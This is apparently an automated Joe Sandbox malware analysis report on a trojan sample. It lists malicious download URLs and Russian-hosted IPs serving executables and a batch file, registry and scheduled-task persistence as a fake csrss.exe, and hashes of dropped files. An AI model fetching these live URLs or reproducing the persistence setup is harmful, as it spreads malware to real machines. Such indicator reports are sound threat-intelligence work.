http://5.42.92.211/loghub/masterll	12%	Virustotal		Browse
http://5.42.65.80/rockss.exe	22%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
star-mini.c10r.facebook.com	31.13.70.36	true	false	high
scontent.xx.fbcdn.net	157.240.24.13	true	false	high
accounts.google.com	172.217.12.109	true	false	high
www.google.com	142.251.46.164	true	false	high
clients.l.google.com	142.250.217.142	true	false	high
www.facebook.com	unknown	unknown	false	high
clients2.google.com	unknown	unknown	false	high
static.xx.fbcdn.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://77.91.68.29/fks/	true	URL Reputation: malware	unknown
http://77.91.68.78/lend/clean.exe	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://5.42.92.211/	true	URL Reputation: malware	unknown
http://77.91.68.61/fuza/2.bat	true	URL Reputation: malware	unknown
http://77.91.68.78/lend/d3xi5rws2ffuli.exe	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.91.124.231/new/foto7447.exe	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.68.78/lend/stubweb3.exe	true	URL Reputation: malware	unknown
http://77.91.124.231/smo/exto.exe	true	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://5.42.65.80/rockss.exe	true	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://5.42.92.211/loghub/master	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000018.00000002.306050234.000001D6F423D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000018.00000003.305595686.000001D6F4261000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000018.00000002.306050234.000001D6F423D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro	explorer.exe, 00000016.00000000.275924857.00007FFD4CAC9000.00000002.00000001.01000000.00000011.sdmp	false	URL Reputation: safe	unknown
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 00000018.00000002.306076037.000001D6F424B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.305634854.000001D6F4249000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000018.00000003.305595686.000001D6F4261000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 00000018.00000003.305748080.000001D6F4241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000002.306062264.000001D6F4242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.305665587.000001D6F4240000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000018.00000003.305595686.000001D6F4261000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000018.00000003.305634854.000001D6F4249000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000018.00000003.283985323.000001D6F4230000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000018.00000003.305665587.000001D6F4240000.00000004.00000020.00020000.00000000.sdmp	false		high
http://en.wi	explorer.exe, 00000016.00000003.293549913.00000000078B6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.293535563.00000000078B6000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://accounts.google.com	11D0.bat.22.dr	false		high
https://t0.tiles.ditu.live.com/tiles/genr	svchost.exe, 00000018.00000002.305999626.000001D6F4213000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 00000018.00000002.305999626.000001D6F4213000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000018.00000002.306050234.000001D6F423D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000018.00000003.305595686.000001D6F4261000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000016.00000000.272123844.000000000508E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 00000018.00000003.305734649.000001D6F4245000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.305665587.000001D6F4240000.00000004.00000020.00020000.00000000.sdmp	false		high
http://5.42.92.211/loghub/masterll	AppLaunch.exe, 00000009.00000002.252595223.000000000530A000.00000004.00000020.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000018.00000002.306050234.000001D6F423D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 00000018.00000003.283985323.000001D6F4230000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000018.00000003.283985323.000001D6F4230000.00000004.00000020.00020000.00000000.sdmp	false		high
http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov	explorer.exe, 00000016.00000000.275924857.00007FFD4CAC9000.00000002.00000001.01000000.00000011.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000010.00000002.477574905.0000021646689000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.473814902.000001B959102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.328548048.0000018D90500000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000018.00000002.306076037.000001D6F424B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.305634854.000001D6F4249000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.305665587.000001D6F4240000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.11.dr	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000018.00000002.305999626.000001D6F4213000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000002.306050234.000001D6F423D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 0000001D.00000002.473905866.0000019F3803E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000018.00000002.306101000.000001D6F4256000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.305780588.000001D6F4250000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.305621358.000001D6F424E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000018.00000003.305595686.000001D6F4261000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000018.00000003.283985323.000001D6F4230000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 00000018.00000003.305595686.000001D6F4261000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000018.00000002.306076037.000001D6F424B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.305634854.000001D6F4249000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000018.00000002.306076037.000001D6F424B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.305634854.000001D6F4249000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.t	svchost.exe, 00000018.00000002.306112935.000001D6F4262000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000018.00000003.305595686.000001D6F4261000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 00000018.00000002.306038020.000001D6F4239000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.283985323.000001D6F4230000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000018.00000003.305634854.000001D6F4249000.00000004.00000020.00020000.00000000.sdmp	false		high
https://activity.windows.com	svchost.exe, 0000001D.00000002.473905866.0000019F3803E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 00000018.00000003.305595686.000001D6F4261000.00000004.00000020.00020000.00000000.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 0000001D.00000002.473905866.0000019F3803E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000018.00000002.306076037.000001D6F424B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.305634854.000001D6F4249000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000018.00000003.305634854.000001D6F4249000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.91.68.61	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
77.91.124.231	unknown	Russian Federation	64419	ECOTEL-ASRU	true
5.42.92.211	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
5.42.65.80	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
77.91.68.29	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
77.91.68.78	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1313298
Start date and time:	2023-09-23 17:51:09 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@53/43@22/7
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 193 Number of non-executed functions: 261
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, backgroundTaskHost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173, 23.202.57.177, 52.137.102.105, 23.202.58.29, 20.99.184.37, 20.99.133.109, 142.250.72.195, 20.42.65.92, 34.104.35.123, 142.251.214.131, 142.251.32.35, 172.217.164.106, 142.250.189.234, 142.250.191.42, 142.250.191.74, 142.251.46.170, 142.251.46.202, 142.250.189.170, 142.250.189.202, 142.251.32.42, 142.251.46.234, 142.251.214.138, 172.217.12.106, 142.250.189.227, 20.189.173.22, 13.89.179.12
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, geover.prod.do.dsp.mp.microsoft.com, kv501.prod.do.dsp.mp.microsoft.com, stun2.l.google.com, geo.prod.do.dsp.trafficmanager.net, wus2s2c-displaycatalog.frontdoor.bigcatalog.commerce.microsoft.com, cdn.discordapp.com, onedsblobprdwus17.westus.cloudapp.azure.com, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, app.nnnaajjjgc.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, iplogger.com, e10370.d.akamaiedge.net, rp-consumer-prod-displaycatalog-geomap.trafficmanager.net, login.live.com, e16604.g.akamaiedge.net, 5964eacf-f1e8-4509-8f9d-5c0efbf61f06.uuid.zaoshang.ru, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, geover.prod.do.dsp.mp.microsoft.com.edgekey.net, optimizationguide-pa.googleapis.com, www.bing.com, client.wns.windows
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:52:24	API Interceptor	2x Sleep call for process: WerFault.exe modified
17:52:26	API Interceptor	12x Sleep call for process: svchost.exe modified
17:52:52	API Interceptor	14003x Sleep call for process: explorer.exe modified
17:52:57	Task Scheduler	Run new task: Firefox Default Browser Agent 1491F5004817902A path: C:\Users\user\AppData\Roaming\fahrbrd
17:53:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run csrss "C:\Windows\rss\csrss.exe"
17:53:52	Task Scheduler	Run new task: csrss path: C:\Windows\rss\csrss.exe
17:53:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run csrss "C:\Windows\rss\csrss.exe"

Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.24859130559344172
Encrypted:	false
SSDEEP:	1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU46:BJiRdwfu2SRU46
MD5:	E49A1AF02B82924E47DABBA7C0C4661F
SHA1:	9B8259CA5C3E3E1A49C509BEAB1D6B50B62DB10F
SHA-256:	0966EEE57D0DDE265297C448917C3FF76806A1DD1CFB5B578BFA6FA631E56D68
SHA-512:	77B5C3403AA7E1FCA9E99114A4EE8A0C4F2B8983BD9141D7DF80C2CA6E7AB2D27A9E03371218F9EE6A6CD7FBB1CA67F0310F4DD56B04470F2760A58B36BBEE99
Malicious:	false
Reputation:	low
Preview:	V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc2d508fc, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.25069464724426704
Encrypted:	false
SSDEEP:	384:E+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:7SB2nSB2RSjlK/+mLesOj1J2
MD5:	75BD533617E0A70587AF169E7FE7C2AD
SHA1:	BA92E23DD93C7D2CA4DE78DF1FA719A48A0AFDA8
SHA-256:	C3198D3E933F98906AE9FB9F1AC9EA914C8633078953DD79D9FEDBA9A1D600C1
SHA-512:	1B74446BAE4B180E0BD38D1E2227F1E2D4FA4731A4E37C4FA45CA6D6764917BD1BAAE047273736A0CEBD3B53AF55B9299C7A887C86872E1392915B151C549CFD
Malicious:	false
Reputation:	low
Preview:	....... ................e.f.3...w........................&..........w...4...{s.h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w...........................................................................................................................................................................................................................................4...{.Q................ ....4...{..........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07523727730285353
Encrypted:	false
SSDEEP:	3:04ll/l7Ev+Rikl/bJdAti+icwll3Vkttlmlnl:041i+Qkt4x1Q3
MD5:	6874C05D2785D664C307119B9E523D9A
SHA1:	0BAD267560A191AA911B759CF749C8DC8B72FC91
SHA-256:	670A77D60B43EEE9F4826F0EFFF143D81B0F39E9EF06969AF4FB4AF7A59E3DF6
SHA-512:	AF1776D479C60169E11B32ADCEAFB6F9E4E26238061602A636E7AC9587CB43BD8AE27A68047899C92F4861E9F7DBFEC5C3446FC86E61DC095552A5267229F170
Malicious:	false
Reputation:	low
Preview:	.H.......................................3...w...4...{.......w...............w.......w....:O.....w.................. ....4...{..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_b1121980.exe_c9e5ea3d60897e71571f9fa7b3ad8a99b25c9e_b9ffea6a_1af59a20\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8798075876820233
Encrypted:	false
SSDEEP:	96:8VF2AV1hIH71bHS3pXIQcQhc6/WcE/cw3i+HbHg/BQAS/YyNl4ttPMLUE+im2kMf:MYA/HvTWFHjedq/u7sdS274ItC
MD5:	50E60324815498A6CE1DA988055CBCFC
SHA1:	14FD52B953530128F4544F190D456D5ECF5EDA1A
SHA-256:	F476804D726B5D7B7A3CE6D0AD16EFCB6F7940498844F2C8C241761495EEC298
SHA-512:	104949E17FDC9A83207902964FE50085FEAE874591D6CBFFC9704ACD5F9B3117B10474A9F3DAF9D0462ECBCDE7881AEA40E68C4A7549C3C0B452BAB7DB4E995C
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.9.9.5.7.9.4.1.7.2.2.4.5.7.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.9.9.5.7.9.4.2.0.5.0.5.6.6.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.2.e.8.f.b.5.d.-.d.a.3.9.-.4.3.8.c.-.a.d.c.f.-.6.4.5.d.0.5.8.f.4.f.1.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.2.f.7.b.9.d.f.-.e.7.2.8.-.4.3.a.7.-.b.3.1.7.-.b.6.7.e.a.b.8.2.6.6.c.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.b.1.1.2.1.9.8.0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.8.-.0.0.0.1.-.0.0.2.6.-.a.d.6.8.-.e.a.e.a.3.5.e.e.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.4.2.e.2.a.5.0.5.3.f.f.8.e.e.1.b.7.9.d.e.3.c.d.7.d.d.0.9.2.0.8.0.0.0.0.f.f.f.f.!.0.0.0.0.2.9.d.a.3.d.6.f.1.e.b.f.5.5.b.7.9.7.f.6.c.8.b.5.8.5.c.1.c.1.6.9.0.6.7.3.d.d.4.b.!.b.1.1.2.1.9.8.0...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.3./.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_c5286836.exe_9422bb87ea931c91aa7b786ec9ca1922f44d7521_e53c8503_0d9dac9f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	65536
Entropy (8bit):	0.8807893926284488
Encrypted:	false
SSDEEP:	192:6hEbEdnIhZHgEWeYMYfjedq/u7sdS274ItirY5:4ACnIhJgEW7Bfjeg/u7sdX4Iti85
MD5:	85C4741DC6F49AE280870B6F8EF7AEEA
SHA1:	C926B242F9052FD7FC322427CCEC76A564AFD497
SHA-256:	B73C0F5F4EA270A74EDE55EA4DF7BC1C230269331C0CC7272135BC036DEB734F
SHA-512:	527B005EEF041A65D05CB5E86BF1B20CCF5F713AB4560F82E53B7193282BB7F1468FD2C11DB5143B3D75164CEA866BB928EFD0D6C047C77DF2FBFA409911D35E
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.9.9.5.7.9.4.7.9.1.5.6.4.6.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.9.9.5.7.9.4.8.1.6.5.6.5.2.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.b.a.a.6.d.c.f.-.d.d.f.4.-.4.a.0.3.-.8.f.3.4.-.8.c.e.5.0.4.d.3.a.3.d.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.2.4.6.7.d.c.6.-.a.2.2.6.-.4.a.5.c.-.9.8.4.1.-.e.c.f.5.7.5.0.c.d.2.7.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.c.5.2.8.6.8.3.6...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.e.0.-.0.0.0.1.-.0.0.2.6.-.4.9.d.7.-.1.4.f.2.3.5.e.e.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.b.5.2.4.2.6.8.b.e.8.5.9.b.d.3.4.1.3.5.4.2.d.2.7.1.0.0.7.4.6.f.0.0.0.0.f.f.f.f.!.0.0.0.0.2.7.2.e.c.c.9.a.0.b.3.2.6.5.b.b.e.6.4.c.1.f.5.0.3.d.2.4.3.8.6.3.9.b.d.c.4.0.5.1.!.c.5.2.8.6.8.3.6...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.3./.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F72.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Sep 23 15:52:21 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	26644
Entropy (8bit):	2.3340090698210822
Encrypted:	false
SSDEEP:	96:5+80H8NGYHxdUThFbiSYGi75SkNnus95gEtvutZT6C0/tJe+WInWIspyHzI5vZ6M:z0YHgThBiSYGO5SkbVVlAyAwZeyLgnP
MD5:	5D2221E5EA14C5EDDAB98CBEAF9F2B06
SHA1:	D468C45D8A74E9E976F356C0A84A604292BB180B
SHA-256:	85664C3F1C3CF80C3F69AFD284C5FE88ABB3EB5080C8206B46B13401445BE154
SHA-512:	6E4B197E79D3D8516E1D858423A407076AF3BA517084FABB09389BD730FDF5579F4211760CFF5FE29F1877E2EAEC6D4FDE6FB6F5CD6791C7F39B1D24382A8FD9
Malicious:	false
Reputation:	low
Preview:	MDMP....... ..........e............4...........x...<.......t...F$..........T.......8...........T...............,O...........................................................................................U...........B......8.......GenuineIntelW...........T..............e.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER904E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8330
Entropy (8bit):	3.686686880571685
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiV56Qu6YN76xrIgmfTSsg+pDe89bZTsfhzm:RrlsNir6J6YB6xkgmfTSqZ4fY
MD5:	85E8AFB7D700C3E0221C23A12FC120D6
SHA1:	9ABF362A8AA0BF75373C524A0AA694FBDB9738F8
SHA-256:	75686C9D1A150915CED70BA46A0531B3D64E2D5AA6512E731A8311F1211BF9CF
SHA-512:	9C9D3B89A7941A84748D530B5F9DAB1728BB029363377125536AEE342483F213CAFE80D53EFA2617F6007025AD2BF9AF26BEAF220D0419CEFD8F82E7CC7B0A12
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.4.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER907E.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4650
Entropy (8bit):	4.419060696971227
Encrypted:	false
SSDEEP:	48:cvIwSD8zseJgtWI9fZrBWgc8sqYji8fm8M4JvO6Fo+q8vuO+lOw1WWBd:uITfU+ZrQgrsqY7JW/Kd+4w1WWBd
MD5:	D30D70CD57949A5C1D5DB26727AAB6E2
SHA1:	A3954E3B19ADEB1AA6DA0569AC79EC499608BD36
SHA-256:	398978BA0952F9BEE48E692F701410391763E75836372BEFC7F20BCD5DE09A29
SHA-512:	1F2EFF0F8FF7FA60EE7B2B439BFCB54E2728B3AF9F46CB75D3CD0543597B0C9F7A6DFFD790BB68B855A112C33E07A28F8FB901AB02F681710259E2F306A048E7
Malicious:	false
Reputation:	low
